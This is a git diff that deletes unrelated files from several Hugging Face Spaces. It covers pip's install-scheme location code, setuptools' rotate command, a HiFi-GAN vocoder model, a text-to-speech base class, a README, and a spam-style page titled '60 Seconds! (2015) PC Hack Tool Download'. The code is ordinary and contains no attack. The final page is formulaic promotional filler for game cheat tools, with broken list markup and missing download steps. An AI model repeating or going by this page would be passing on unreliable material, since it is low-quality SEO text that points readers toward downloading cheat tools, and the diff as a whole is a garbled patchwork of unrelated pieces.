skip_bpo_44860: - continue - - # Slackware incorrectly patches posix_user to use lib64 instead of lib, - # but not usersite to match the location. - skip_slackware_user_scheme = ( - user - and k in ("platlib", "purelib") - and not WINDOWS - and _looks_like_slackware_scheme() - ) - if skip_slackware_user_scheme: - continue - - # Both Debian and Red Hat patch Python to place the system site under - # /usr/local instead of /usr. Debian also places lib in dist-packages - # instead of site-packages, but the /usr/local check should cover it. - skip_linux_system_special_case = ( - not (user or home or prefix or running_under_virtualenv()) - and old_v.parts[1:3] == ("usr", "local") - and len(new_v.parts) > 1 - and new_v.parts[1] == "usr" - and (len(new_v.parts) < 3 or new_v.parts[2] != "local") - and (_looks_like_red_hat_scheme() or _looks_like_debian_scheme()) - ) - if skip_linux_system_special_case: - continue - - # On Python 3.7 and earlier, sysconfig does not include sys.abiflags in - # the "pythonX.Y" part of the path, but distutils does. - skip_sysconfig_abiflag_bug = ( - sys.version_info < (3, 8) - and not WINDOWS - and k in ("headers", "platlib", "purelib") - and tuple(_fix_abiflags(old_v.parts)) == new_v.parts - ) - if skip_sysconfig_abiflag_bug: - continue - - # MSYS2 MINGW's sysconfig patch does not include the "site-packages" - # part of the path. This is incorrect and will be fixed in MSYS. - skip_msys2_mingw_bug = ( - WINDOWS and k in ("platlib", "purelib") and _looks_like_msys2_mingw_scheme() - ) - if skip_msys2_mingw_bug: - continue - - # CPython's POSIX install script invokes pip (via ensurepip) against the - # interpreter located in the source tree, not the install site. This - # triggers special logic in sysconfig that's not present in distutils. - # https://github.com/python/cpython/blob/8c21941ddaf/Lib/sysconfig.py#L178-L194 - skip_cpython_build = ( - sysconfig.is_python_build(check_home=True) - and not WINDOWS - and k in ("headers", "include", "platinclude") - ) - if skip_cpython_build: - continue - - warning_contexts.append((old_v, new_v, f"scheme.{k}")) - - if not warning_contexts: - return old - - # Check if this path mismatch is caused by distutils config files. Those - # files will no longer work once we switch to sysconfig, so this raises a - # deprecation message for them. - default_old = _distutils.distutils_scheme( - dist_name, - user, - home, - root, - isolated, - prefix, - ignore_config_files=True, - ) - if any(default_old[k] != getattr(old, k) for k in SCHEME_KEYS): - deprecated( - reason=( - "Configuring installation scheme with distutils config files " - "is deprecated and will no longer work in the near future. If you " - "are using a Homebrew or Linuxbrew Python, please see discussion " - "at https://github.com/Homebrew/homebrew-core/issues/76621" - ), - replacement=None, - gone_in=None, - ) - return old - - # Post warnings about this mismatch so user can report them back. - for old_v, new_v, key in warning_contexts: - _warn_mismatched(old_v, new_v, key=key) - _log_context(user=user, home=home, root=root, prefix=prefix) - - return old - - -def get_bin_prefix() -> str: - new = _sysconfig.get_bin_prefix() - if _USE_SYSCONFIG: - return new - - old = _distutils.get_bin_prefix() - if _warn_if_mismatch(pathlib.Path(old), pathlib.Path(new), key="bin_prefix"): - _log_context() - return old - - -def get_bin_user() -> str: - return _sysconfig.get_scheme("", user=True).scripts - - -def _looks_like_deb_system_dist_packages(value: str) -> bool: - """Check if the value is Debian's APT-controlled dist-packages. - - Debian's ``distutils.sysconfig.get_python_lib()`` implementation returns the - default package path controlled by APT, but does not patch ``sysconfig`` to - do the same. This is similar to the bug worked around in ``get_scheme()``, - but here the default is ``deb_system`` instead of ``unix_local``. Ultimately - we can't do anything about this Debian bug, and this detection allows us to - skip the warning when needed. - """ - if not _looks_like_debian_scheme(): - return False - if value == "/usr/lib/python3/dist-packages": - return True - return False - - -def get_purelib() -> str: - """Return the default pure-Python lib location.""" - new = _sysconfig.get_purelib() - if _USE_SYSCONFIG: - return new - - old = _distutils.get_purelib() - if _looks_like_deb_system_dist_packages(old): - return old - if _warn_if_mismatch(pathlib.Path(old), pathlib.Path(new), key="purelib"): - _log_context() - return old - - -def get_platlib() -> str: - """Return the default platform-shared lib location.""" - new = _sysconfig.get_platlib() - if _USE_SYSCONFIG: - return new - - old = _distutils.get_platlib() - if _looks_like_deb_system_dist_packages(old): - return old - if _warn_if_mismatch(pathlib.Path(old), pathlib.Path(new), key="platlib"): - _log_context() - return old - - -def _deduplicated(v1: str, v2: str) -> List[str]: - """Deduplicate values from a list.""" - if v1 == v2: - return [v1] - return [v1, v2] - - -def _looks_like_apple_library(path: str) -> bool: - """Apple patches sysconfig to *always* look under */Library/Python*.""" - if sys.platform[:6] != "darwin": - return False - return path == f"/Library/Python/{get_major_minor_version()}/site-packages" - - -def get_prefixed_libs(prefix: str) -> List[str]: - """Return the lib locations under ``prefix``.""" - new_pure, new_plat = _sysconfig.get_prefixed_libs(prefix) - if _USE_SYSCONFIG: - return _deduplicated(new_pure, new_plat) - - old_pure, old_plat = _distutils.get_prefixed_libs(prefix) - old_lib_paths = _deduplicated(old_pure, old_plat) - - # Apple's Python (shipped with Xcode and Command Line Tools) hard-code - # platlib and purelib to '/Library/Python/X.Y/site-packages'. This will - # cause serious build isolation bugs when Apple starts shipping 3.10 because - # pip will install build backends to the wrong location. This tells users - # who is at fault so Apple may notice it and fix the issue in time. - if all(_looks_like_apple_library(p) for p in old_lib_paths): - deprecated( - reason=( - "Python distributed by Apple's Command Line Tools incorrectly " - "patches sysconfig to always point to '/Library/Python'. This " - "will cause build isolation to operate incorrectly on Python " - "3.10 or later. Please help report this to Apple so they can " - "fix this. https://developer.apple.com/bug-reporting/" - ), - replacement=None, - gone_in=None, - ) - return old_lib_paths - - warned = [ - _warn_if_mismatch( - pathlib.Path(old_pure), - pathlib.Path(new_pure), - key="prefixed-purelib", - ), - _warn_if_mismatch( - pathlib.Path(old_plat), - pathlib.Path(new_plat), - key="prefixed-platlib", - ), - ] - if any(warned): - _log_context(prefix=prefix) - - return old_lib_paths diff --git a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/setuptools/command/rotate.py b/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/setuptools/command/rotate.py deleted file mode 100644 index 74795ba922bb376e24858760e63dc9124ef22b9f..0000000000000000000000000000000000000000 --- a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/setuptools/command/rotate.py +++ /dev/null @@ -1,64 +0,0 @@ -from distutils.util import convert_path -from distutils import log -from distutils.errors import DistutilsOptionError -import os -import shutil - -from setuptools import Command - - -class rotate(Command): - """Delete older distributions""" - - description = "delete older distributions, keeping N newest files" - user_options = [ - ('match=', 'm', "patterns to match (required)"), - ('dist-dir=', 'd', "directory where the distributions are"), - ('keep=', 'k', "number of matching distributions to keep"), - ] - - boolean_options = [] - - def initialize_options(self): - self.match = None - self.dist_dir = None - self.keep = None - - def finalize_options(self): - if self.match is None: - raise DistutilsOptionError( - "Must specify one or more (comma-separated) match patterns " - "(e.g. '.zip' or '.egg')" - ) - if self.keep is None: - raise DistutilsOptionError("Must specify number of files to keep") - try: - self.keep = int(self.keep) - except ValueError as e: - raise DistutilsOptionError("--keep must be an integer") from e - if isinstance(self.match, str): - self.match = [ - convert_path(p.strip()) for p in self.match.split(',') - ] - self.set_undefined_options('bdist', ('dist_dir', 'dist_dir')) - - def run(self): - self.run_command("egg_info") - from glob import glob - - for pattern in self.match: - pattern = self.distribution.get_name() + '*' + pattern - files = glob(os.path.join(self.dist_dir, pattern)) - files = [(os.path.getmtime(f), f) for f in files] - files.sort() - files.reverse() - - log.info("%d file(s) matching %s", len(files), pattern) - files = files[self.keep:] - for (t, f) in files: - log.info("Deleting %s", f) - if not self.dry_run: - if os.path.isdir(f): - shutil.rmtree(f) - else: - os.unlink(f) diff --git a/spaces/pyInter/Liyuu_sovits4/vdecoder/hifigan/models.py b/spaces/pyInter/Liyuu_sovits4/vdecoder/hifigan/models.py deleted file mode 100644 index 9747301f350bb269e62601017fe4633ce271b27e..0000000000000000000000000000000000000000 --- a/spaces/pyInter/Liyuu_sovits4/vdecoder/hifigan/models.py +++ /dev/null @@ -1,503 +0,0 @@ -import os -import json -from .env import AttrDict -import numpy as np -import torch -import torch.nn.functional as F -import torch.nn as nn -from torch.nn import Conv1d, ConvTranspose1d, AvgPool1d, Conv2d -from torch.nn.utils import weight_norm, remove_weight_norm, spectral_norm -from .utils import init_weights, get_padding - -LRELU_SLOPE = 0.1 - - -def load_model(model_path, device='cuda'): - config_file = os.path.join(os.path.split(model_path)[0], 'config.json') - with open(config_file) as f: - data = f.read() - - global h - json_config = json.loads(data) - h = AttrDict(json_config) - - generator = Generator(h).to(device) - - cp_dict = torch.load(model_path) - generator.load_state_dict(cp_dict['generator']) - generator.eval() - generator.remove_weight_norm() - del cp_dict - return generator, h - - -class ResBlock1(torch.nn.Module): - def __init__(self, h, channels, kernel_size=3, dilation=(1, 3, 5)): - super(ResBlock1, self).__init__() - self.h = h - self.convs1 = nn.ModuleList([ - weight_norm(Conv1d(channels, channels, kernel_size, 1, dilation=dilation[0], - padding=get_padding(kernel_size, dilation[0]))), - weight_norm(Conv1d(channels, channels, kernel_size, 1, dilation=dilation[1], - padding=get_padding(kernel_size, dilation[1]))), - weight_norm(Conv1d(channels, channels, kernel_size, 1, dilation=dilation[2], - padding=get_padding(kernel_size, dilation[2]))) - ]) - self.convs1.apply(init_weights) - - self.convs2 = nn.ModuleList([ - weight_norm(Conv1d(channels, channels, kernel_size, 1, dilation=1, - padding=get_padding(kernel_size, 1))), - weight_norm(Conv1d(channels, channels, kernel_size, 1, dilation=1, - padding=get_padding(kernel_size, 1))), - weight_norm(Conv1d(channels, channels, kernel_size, 1, dilation=1, - padding=get_padding(kernel_size, 1))) - ]) - self.convs2.apply(init_weights) - - def forward(self, x): - for c1, c2 in zip(self.convs1, self.convs2): - xt = F.leaky_relu(x, LRELU_SLOPE) - xt = c1(xt) - xt = F.leaky_relu(xt, LRELU_SLOPE) - xt = c2(xt) - x = xt + x - return x - - def remove_weight_norm(self): - for l in self.convs1: - remove_weight_norm(l) - for l in self.convs2: - remove_weight_norm(l) - - -class ResBlock2(torch.nn.Module): - def __init__(self, h, channels, kernel_size=3, dilation=(1, 3)): - super(ResBlock2, self).__init__() - self.h = h - self.convs = nn.ModuleList([ - weight_norm(Conv1d(channels, channels, kernel_size, 1, dilation=dilation[0], - padding=get_padding(kernel_size, dilation[0]))), - weight_norm(Conv1d(channels, channels, kernel_size, 1, dilation=dilation[1], - padding=get_padding(kernel_size, dilation[1]))) - ]) - self.convs.apply(init_weights) - - def forward(self, x): - for c in self.convs: - xt = F.leaky_relu(x, LRELU_SLOPE) - xt = c(xt) - x = xt + x - return x - - def remove_weight_norm(self): - for l in self.convs: - remove_weight_norm(l) - - -def padDiff(x): - return F.pad(F.pad(x, (0,0,-1,1), 'constant', 0) - x, (0,0,0,-1), 'constant', 0) - -class SineGen(torch.nn.Module): - """ Definition of sine generator - SineGen(samp_rate, harmonic_num = 0, - sine_amp = 0.1, noise_std = 0.003, - voiced_threshold = 0, - flag_for_pulse=False) - samp_rate: sampling rate in Hz - harmonic_num: number of harmonic overtones (default 0) - sine_amp: amplitude of sine-wavefrom (default 0.1) - noise_std: std of Gaussian noise (default 0.003) - voiced_thoreshold: F0 threshold for U/V classification (default 0) - flag_for_pulse: this SinGen is used inside PulseGen (default False) - Note: when flag_for_pulse is True, the first time step of a voiced - segment is always sin(np.pi) or cos(0) - """ - - def __init__(self, samp_rate, harmonic_num=0, - sine_amp=0.1, noise_std=0.003, - voiced_threshold=0, - flag_for_pulse=False): - super(SineGen, self).__init__() - self.sine_amp = sine_amp - self.noise_std = noise_std - self.harmonic_num = harmonic_num - self.dim = self.harmonic_num + 1 - self.sampling_rate = samp_rate - self.voiced_threshold = voiced_threshold - self.flag_for_pulse = flag_for_pulse - - def _f02uv(self, f0): - # generate uv signal - uv = (f0 > self.voiced_threshold).type(torch.float32) - return uv - - def _f02sine(self, f0_values): - """ f0_values: (batchsize, length, dim) - where dim indicates fundamental tone and overtones - """ - # convert to F0 in rad. The interger part n can be ignored - # because 2 * np.pi * n doesn't affect phase - rad_values = (f0_values / self.sampling_rate) % 1 - - # initial phase noise (no noise for fundamental component) - rand_ini = torch.rand(f0_values.shape[0], f0_values.shape[2], \ - device=f0_values.device) - rand_ini[:, 0] = 0 - rad_values[:, 0, :] = rad_values[:, 0, :] + rand_ini - - # instantanouse phase sine[t] = sin(2*pi \sum_i=1 ^{t} rad) - if not self.flag_for_pulse: - # for normal case - - # To prevent torch.cumsum numerical overflow, - # it is necessary to add -1 whenever \sum_k=1^n rad_value_k > 1. - # Buffer tmp_over_one_idx indicates the time step to add -1. - # This will not change F0 of sine because (x-1) * 2*pi = x * 2*pi - tmp_over_one = torch.cumsum(rad_values, 1) % 1 - tmp_over_one_idx = (padDiff(tmp_over_one)) < 0 - cumsum_shift = torch.zeros_like(rad_values) - cumsum_shift[:, 1:, :] = tmp_over_one_idx * -1.0 - - sines = torch.sin(torch.cumsum(rad_values + cumsum_shift, dim=1) - * 2 * np.pi) - else: - # If necessary, make sure that the first time step of every - # voiced segments is sin(pi) or cos(0) - # This is used for pulse-train generation - - # identify the last time step in unvoiced segments - uv = self._f02uv(f0_values) - uv_1 = torch.roll(uv, shifts=-1, dims=1) - uv_1[:, -1, :] = 1 - u_loc = (uv < 1) * (uv_1 > 0) - - # get the instantanouse phase - tmp_cumsum = torch.cumsum(rad_values, dim=1) - # different batch needs to be processed differently - for idx in range(f0_values.shape[0]): - temp_sum = tmp_cumsum[idx, u_loc[idx, :, 0], :] - temp_sum[1:, :] = temp_sum[1:, :] - temp_sum[0:-1, :] - # stores the accumulation of i.phase within - # each voiced segments - tmp_cumsum[idx, :, :] = 0 - tmp_cumsum[idx, u_loc[idx, :, 0], :] = temp_sum - - # rad_values - tmp_cumsum: remove the accumulation of i.phase - # within the previous voiced segment. - i_phase = torch.cumsum(rad_values - tmp_cumsum, dim=1) - - # get the sines - sines = torch.cos(i_phase * 2 * np.pi) - return sines - - def forward(self, f0): - """ sine_tensor, uv = forward(f0) - input F0: tensor(batchsize=1, length, dim=1) - f0 for unvoiced steps should be 0 - output sine_tensor: tensor(batchsize=1, length, dim) - output uv: tensor(batchsize=1, length, 1) - """ - with torch.no_grad(): - f0_buf = torch.zeros(f0.shape[0], f0.shape[1], self.dim, - device=f0.device) - # fundamental component - fn = torch.multiply(f0, torch.FloatTensor([[range(1, self.harmonic_num + 2)]]).to(f0.device)) - - # generate sine waveforms - sine_waves = self._f02sine(fn) * self.sine_amp - - # generate uv signal - # uv = torch.ones(f0.shape) - # uv = uv * (f0 > self.voiced_threshold) - uv = self._f02uv(f0) - - # noise: for unvoiced should be similar to sine_amp - # std = self.sine_amp/3 -> max value ~ self.sine_amp - # . for voiced regions is self.noise_std - noise_amp = uv * self.noise_std + (1 - uv) * self.sine_amp / 3 - noise = noise_amp * torch.randn_like(sine_waves) - - # first: set the unvoiced part to 0 by uv - # then: additive noise - sine_waves = sine_waves * uv + noise - return sine_waves, uv, noise - - -class SourceModuleHnNSF(torch.nn.Module): - """ SourceModule for hn-nsf - SourceModule(sampling_rate, harmonic_num=0, sine_amp=0.1, - add_noise_std=0.003, voiced_threshod=0) - sampling_rate: sampling_rate in Hz - harmonic_num: number of harmonic above F0 (default: 0) - sine_amp: amplitude of sine source signal (default: 0.1) - add_noise_std: std of additive Gaussian noise (default: 0.003) - note that amplitude of noise in unvoiced is decided - by sine_amp - voiced_threshold: threhold to set U/V given F0 (default: 0) - Sine_source, noise_source = SourceModuleHnNSF(F0_sampled) - F0_sampled (batchsize, length, 1) - Sine_source (batchsize, length, 1) - noise_source (batchsize, length 1) - uv (batchsize, length, 1) - """ - - def __init__(self, sampling_rate, harmonic_num=0, sine_amp=0.1, - add_noise_std=0.003, voiced_threshod=0): - super(SourceModuleHnNSF, self).__init__() - - self.sine_amp = sine_amp - self.noise_std = add_noise_std - - # to produce sine waveforms - self.l_sin_gen = SineGen(sampling_rate, harmonic_num, - sine_amp, add_noise_std, voiced_threshod) - - # to merge source harmonics into a single excitation - self.l_linear = torch.nn.Linear(harmonic_num + 1, 1) - self.l_tanh = torch.nn.Tanh() - - def forward(self, x): - """ - Sine_source, noise_source = SourceModuleHnNSF(F0_sampled) - F0_sampled (batchsize, length, 1) - Sine_source (batchsize, length, 1) - noise_source (batchsize, length 1) - """ - # source for harmonic branch - sine_wavs, uv, _ = self.l_sin_gen(x) - sine_merge = self.l_tanh(self.l_linear(sine_wavs)) - - # source for noise branch, in the same shape as uv - noise = torch.randn_like(uv) * self.sine_amp / 3 - return sine_merge, noise, uv - - -class Generator(torch.nn.Module): - def __init__(self, h): - super(Generator, self).__init__() - self.h = h - - self.num_kernels = len(h["resblock_kernel_sizes"]) - self.num_upsamples = len(h["upsample_rates"]) - self.f0_upsamp = torch.nn.Upsample(scale_factor=np.prod(h["upsample_rates"])) - self.m_source = SourceModuleHnNSF( - sampling_rate=h["sampling_rate"], - harmonic_num=8) - self.noise_convs = nn.ModuleList() - self.conv_pre = weight_norm(Conv1d(h["inter_channels"], h["upsample_initial_channel"], 7, 1, padding=3)) - resblock = ResBlock1 if h["resblock"] == '1' else ResBlock2 - self.ups = nn.ModuleList() - for i, (u, k) in enumerate(zip(h["upsample_rates"], h["upsample_kernel_sizes"])): - c_cur = h["upsample_initial_channel"] // (2 ** (i + 1)) - self.ups.append(weight_norm( - ConvTranspose1d(h["upsample_initial_channel"] // (2 ** i), h["upsample_initial_channel"] // (2 ** (i + 1)), - k, u, padding=(k - u) // 2))) - if i + 1 < len(h["upsample_rates"]): # - stride_f0 = np.prod(h["upsample_rates"][i + 1:]) - self.noise_convs.append(Conv1d( - 1, c_cur, kernel_size=stride_f0 * 2, stride=stride_f0, padding=stride_f0 // 2)) - else: - self.noise_convs.append(Conv1d(1, c_cur, kernel_size=1)) - self.resblocks = nn.ModuleList() - for i in range(len(self.ups)): - ch = h["upsample_initial_channel"] // (2 ** (i + 1)) - for j, (k, d) in enumerate(zip(h["resblock_kernel_sizes"], h["resblock_dilation_sizes"])): - self.resblocks.append(resblock(h, ch, k, d)) - - self.conv_post = weight_norm(Conv1d(ch, 1, 7, 1, padding=3)) - self.ups.apply(init_weights) - self.conv_post.apply(init_weights) - self.cond = nn.Conv1d(h['gin_channels'], h['upsample_initial_channel'], 1) - - def forward(self, x, f0, g=None): - # print(1,x.shape,f0.shape,f0[:, None].shape) - f0 = self.f0_upsamp(f0[:, None]).transpose(1, 2) # bs,n,t - # print(2,f0.shape) - har_source, noi_source, uv = self.m_source(f0) - har_source = har_source.transpose(1, 2) - x = self.conv_pre(x) - x = x + self.cond(g) - # print(124,x.shape,har_source.shape) - for i in range(self.num_upsamples): - x = F.leaky_relu(x, LRELU_SLOPE) - # print(3,x.shape) - x = self.ups[i](x) - x_source = self.noise_convs[i](har_source) - # print(4,x_source.shape,har_source.shape,x.shape) - x = x + x_source - xs = None - for j in range(self.num_kernels): - if xs is None: - xs = self.resblocks[i * self.num_kernels + j](x) - else: - xs += self.resblocks[i * self.num_kernels + j](x) - x = xs / self.num_kernels - x = F.leaky_relu(x) - x = self.conv_post(x) - x = torch.tanh(x) - - return x - - def remove_weight_norm(self): - print('Removing weight norm...') - for l in self.ups: - remove_weight_norm(l) - for l in self.resblocks: - l.remove_weight_norm() - remove_weight_norm(self.conv_pre) - remove_weight_norm(self.conv_post) - - -class DiscriminatorP(torch.nn.Module): - def __init__(self, period, kernel_size=5, stride=3, use_spectral_norm=False): - super(DiscriminatorP, self).__init__() - self.period = period - norm_f = weight_norm if use_spectral_norm == False else spectral_norm - self.convs = nn.ModuleList([ - norm_f(Conv2d(1, 32, (kernel_size, 1), (stride, 1), padding=(get_padding(5, 1), 0))), - norm_f(Conv2d(32, 128, (kernel_size, 1), (stride, 1), padding=(get_padding(5, 1), 0))), - norm_f(Conv2d(128, 512, (kernel_size, 1), (stride, 1), padding=(get_padding(5, 1), 0))), - norm_f(Conv2d(512, 1024, (kernel_size, 1), (stride, 1), padding=(get_padding(5, 1), 0))), - norm_f(Conv2d(1024, 1024, (kernel_size, 1), 1, padding=(2, 0))), - ]) - self.conv_post = norm_f(Conv2d(1024, 1, (3, 1), 1, padding=(1, 0))) - - def forward(self, x): - fmap = [] - - # 1d to 2d - b, c, t = x.shape - if t % self.period != 0: # pad first - n_pad = self.period - (t % self.period) - x = F.pad(x, (0, n_pad), "reflect") - t = t + n_pad - x = x.view(b, c, t // self.period, self.period) - - for l in self.convs: - x = l(x) - x = F.leaky_relu(x, LRELU_SLOPE) - fmap.append(x) - x = self.conv_post(x) - fmap.append(x) - x = torch.flatten(x, 1, -1) - - return x, fmap - - -class MultiPeriodDiscriminator(torch.nn.Module): - def __init__(self, periods=None): - super(MultiPeriodDiscriminator, self).__init__() - self.periods = periods if periods is not None else [2, 3, 5, 7, 11] - self.discriminators = nn.ModuleList() - for period in self.periods: - self.discriminators.append(DiscriminatorP(period)) - - def forward(self, y, y_hat): - y_d_rs = [] - y_d_gs = [] - fmap_rs = [] - fmap_gs = [] - for i, d in enumerate(self.discriminators): - y_d_r, fmap_r = d(y) - y_d_g, fmap_g = d(y_hat) - y_d_rs.append(y_d_r) - fmap_rs.append(fmap_r) - y_d_gs.append(y_d_g) - fmap_gs.append(fmap_g) - - return y_d_rs, y_d_gs, fmap_rs, fmap_gs - - -class DiscriminatorS(torch.nn.Module): - def __init__(self, use_spectral_norm=False): - super(DiscriminatorS, self).__init__() - norm_f = weight_norm if use_spectral_norm == False else spectral_norm - self.convs = nn.ModuleList([ - norm_f(Conv1d(1, 128, 15, 1, padding=7)), - norm_f(Conv1d(128, 128, 41, 2, groups=4, padding=20)), - norm_f(Conv1d(128, 256, 41, 2, groups=16, padding=20)), - norm_f(Conv1d(256, 512, 41, 4, groups=16, padding=20)), - norm_f(Conv1d(512, 1024, 41, 4, groups=16, padding=20)), - norm_f(Conv1d(1024, 1024, 41, 1, groups=16, padding=20)), - norm_f(Conv1d(1024, 1024, 5, 1, padding=2)), - ]) - self.conv_post = norm_f(Conv1d(1024, 1, 3, 1, padding=1)) - - def forward(self, x): - fmap = [] - for l in self.convs: - x = l(x) - x = F.leaky_relu(x, LRELU_SLOPE) - fmap.append(x) - x = self.conv_post(x) - fmap.append(x) - x = torch.flatten(x, 1, -1) - - return x, fmap - - -class MultiScaleDiscriminator(torch.nn.Module): - def __init__(self): - super(MultiScaleDiscriminator, self).__init__() - self.discriminators = nn.ModuleList([ - DiscriminatorS(use_spectral_norm=True), - DiscriminatorS(), - DiscriminatorS(), - ]) - self.meanpools = nn.ModuleList([ - AvgPool1d(4, 2, padding=2), - AvgPool1d(4, 2, padding=2) - ]) - - def forward(self, y, y_hat): - y_d_rs = [] - y_d_gs = [] - fmap_rs = [] - fmap_gs = [] - for i, d in enumerate(self.discriminators): - if i != 0: - y = self.meanpools[i - 1](y) - y_hat = self.meanpools[i - 1](y_hat) - y_d_r, fmap_r = d(y) - y_d_g, fmap_g = d(y_hat) - y_d_rs.append(y_d_r) - fmap_rs.append(fmap_r) - y_d_gs.append(y_d_g) - fmap_gs.append(fmap_g) - - return y_d_rs, y_d_gs, fmap_rs, fmap_gs - - -def feature_loss(fmap_r, fmap_g): - loss = 0 - for dr, dg in zip(fmap_r, fmap_g): - for rl, gl in zip(dr, dg): - loss += torch.mean(torch.abs(rl - gl)) - - return loss * 2 - - -def discriminator_loss(disc_real_outputs, disc_generated_outputs): - loss = 0 - r_losses = [] - g_losses = [] - for dr, dg in zip(disc_real_outputs, disc_generated_outputs): - r_loss = torch.mean((1 - dr) ** 2) - g_loss = torch.mean(dg ** 2) - loss += (r_loss + g_loss) - r_losses.append(r_loss.item()) - g_losses.append(g_loss.item()) - - return loss, r_losses, g_losses - - -def generator_loss(disc_outputs): - loss = 0 - gen_losses = [] - for dg in disc_outputs: - l = torch.mean((1 - dg) ** 2) - gen_losses.append(l) - loss += l - - return loss, gen_losses diff --git a/spaces/pycui/RealChar/realtime_ai_character/audio/text_to_speech/base.py b/spaces/pycui/RealChar/realtime_ai_character/audio/text_to_speech/base.py deleted file mode 100644 index fb4bcea52ccea27e586472b51dd1416e45bb3603..0000000000000000000000000000000000000000 --- a/spaces/pycui/RealChar/realtime_ai_character/audio/text_to_speech/base.py +++ /dev/null @@ -1,7 +0,0 @@ -from abc import ABC, abstractmethod - - -class TextToSpeech(ABC): - @abstractmethod - async def stream(self, *args, **kwargs): - pass diff --git a/spaces/qmjnh/FLowerCLassification/README.md b/spaces/qmjnh/FLowerCLassification/README.md deleted file mode 100644 index 5eb3c022f8a786cd99d4824d8a6e747d2e9c0170..0000000000000000000000000000000000000000 --- a/spaces/qmjnh/FLowerCLassification/README.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: FlowerClassification Model -emoji: 📚 -colorFrom: gray -colorTo: pink -sdk: gradio -sdk_version: 3.1.3 -app_file: app.py -pinned: false ---- - -Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference diff --git a/spaces/quidiaMuxgu/Expedit-SAM/60 Seconds! (2015) PC Hack Tool Download.md b/spaces/quidiaMuxgu/Expedit-SAM/60 Seconds! (2015) PC Hack Tool Download.md deleted file mode 100644 index 5569c419c959794cd4bb469badcfb84e465f9e7e..0000000000000000000000000000000000000000 --- a/spaces/quidiaMuxgu/Expedit-SAM/60 Seconds! (2015) PC Hack Tool Download.md +++ /dev/null @@ -1,118 +0,0 @@ - -

            60 Seconds! (2015) PC Hack Tool Download: A Guide for Survival Fans

            - -

            60 Seconds! is a survival-indie-game that was released in 2015 by Robot Gentleman. The game challenges you to collect items and keep your family safe in a bunker before a nuclear bomb drops. You only have 60 seconds to scavenge your house and grab what you need, then face the consequences of your choices in the post-apocalyptic scenario.

            - -

            The game is full of black humor and unpredictable events, making it a fun and engaging experience. However, some players may find it too hard or frustrating to survive in the harsh conditions of the bunker. That's why some PC hack tools have been created to help you cheat your way through 60 Seconds!

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            60 Seconds! (2015) PC hack tool download


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            What are PC Hack Tools for 60 Seconds!?

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            PC hack tools are software programs that modify the game's code or memory to give you advantages or unlock features that are not normally available. For example, some PC hack tools can freeze the timer, give you unlimited food and water, make your characters super healthy and happy, or speed up the expeditions.

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            Using PC hack tools can make the game easier and more enjoyable, especially if you want to explore different endings or scenarios without worrying about the consequences. However, some players may consider using PC hack tools as cheating or ruining the game's challenge and immersion. Therefore, you should use PC hack tools at your own discretion and risk.

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            How to Download and Use PC Hack Tools for 60 Seconds!?

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            There are many websites that offer PC hack tools for 60 Seconds!, but not all of them are safe or reliable. Some PC hack tools may contain viruses, malware, or spyware that can harm your computer or steal your personal information. Some PC hack tools may also not work with your game version or cause crashes or errors.

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            To download and use PC hack tools for 60 Seconds!, you should follow these steps:

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            Conclusion

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            60 Seconds! is a fun and challenging survival-indie-game that puts you in a nuclear apocalypse scenario. You have to collect items and keep your family safe in a bunker while facing random events and dilemmas. However, some players may want to use PC hack tools to cheat their way through 60 Seconds! and make the game easier or more enjoyable.

            - -

            PC hack tools are software programs that modify the game's code or memory to give you advantages or unlock features that are not normally available. You can download and use PC hack tools for 60 Seconds! from reputable websites such as WeMod or PLITCH, but you should be careful of viruses, malware, or spyware that may harm your computer or personal information. You should also use PC hack tools at your own discretion and risk, as some players may consider them as cheating or ruining the game's challenge and immersion.

            - -

            If you are interested in downloading and using PC hack tools for 60 Seconds!, you can follow this guide and enjoy the game with your chosen cheats.

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            What are the Benefits of Using PC Hack Tools for 60 Seconds!?

            - -

            Using PC hack tools for 60 Seconds! can provide you with several benefits that can enhance your gaming experience. Some of the benefits are:

            - -
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            • You can explore different outcomes and endings without worrying about the survival of your family or the scarcity of resources.
              • -
            • You can have more fun and humor in the game by using cheats such as super characters or fast expeditions.
              • -
            • You can customize your game difficulty and challenge according to your preferences and skills.
              • -
            • You can save time and effort by skipping the tedious or frustrating parts of the game.
              • -
            • You can discover new features or secrets that are not normally accessible in the game.
              • -
            - -

            What are the Risks of Using PC Hack Tools for 60 Seconds!?

            - -

            Using PC hack tools for 60 Seconds! can also involve some risks that can affect your gaming experience. Some of the risks are:

            - -
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            • You can lose the sense of achievement and satisfaction that comes from overcoming the game's challenges and dilemmas.
              • -
            • You can spoil the game's story and atmosphere by breaking its immersion and realism.
              • -
            • You can encounter technical issues such as crashes, errors, or compatibility problems with your game version or system.
              • -
            • You can expose your computer or personal information to viruses, malware, or spyware that may be hidden in some PC hack tools.
              • -
            • You can violate the game's terms of service or end-user license agreement and face legal consequences or penalties.
              • -
            - -

            How to Choose the Best PC Hack Tool for 60 Seconds!?

            - -

            Not all PC hack tools for 60 Seconds! are created equal. Some PC hack tools may offer more features, options, or updates than others. Some PC hack tools may be more user-friendly, safe, or reliable than others. Therefore, you should choose the best PC hack tool for 60 Seconds! based on these criteria:

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            1. The number and quality of cheats or options that the PC hack tool offers. You should look for a PC hack tool that has a variety of cheats or options that suit your needs and preferences.
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            2. The safety and security of the PC hack tool. You should look for a PC hack tool that has positive reviews and ratings from other users and does not contain any viruses, malware, or spyware.
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            3. The compatibility and stability of the PC hack tool. You should look for a PC hack tool that works with your game version and system and does not cause any crashes, errors, or conflicts.
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            4. The support and update of the PC hack tool. You should look for a PC hack tool that has regular updates and patches to fix any bugs or issues and to add new features or options.
              5. -
            -

            What are the Alternatives to Using PC Hack Tools for 60 Seconds!?

            - -

            If you don't want to use PC hack tools for 60 Seconds!, but still want to have some advantages or tips in the game, you can try some alternatives that are more legitimate or ethical. Some of the alternatives are:

            - -
              -
            • You can use guides, walkthroughs, or tutorials that can help you learn the game's mechanics, strategies, and secrets. You can find many online resources that can teach you how to play 60 Seconds! better and smarter.
              • -
            • You can use mods or customizations that can change the game's appearance, content, or gameplay. You can find many mods or customizations that can add new features, items, characters, or scenarios to 60 Seconds! and make it more fun or diverse.
              • -
            • You can use cheats or codes that are built-in or official in the game. You can find some cheats or codes that can unlock hidden modes, options, or easter eggs in 60 Seconds! and make it more interesting or surprising.
              • -
            - -

            How to Download and Install Mods or Customizations for 60 Seconds!?

            - -

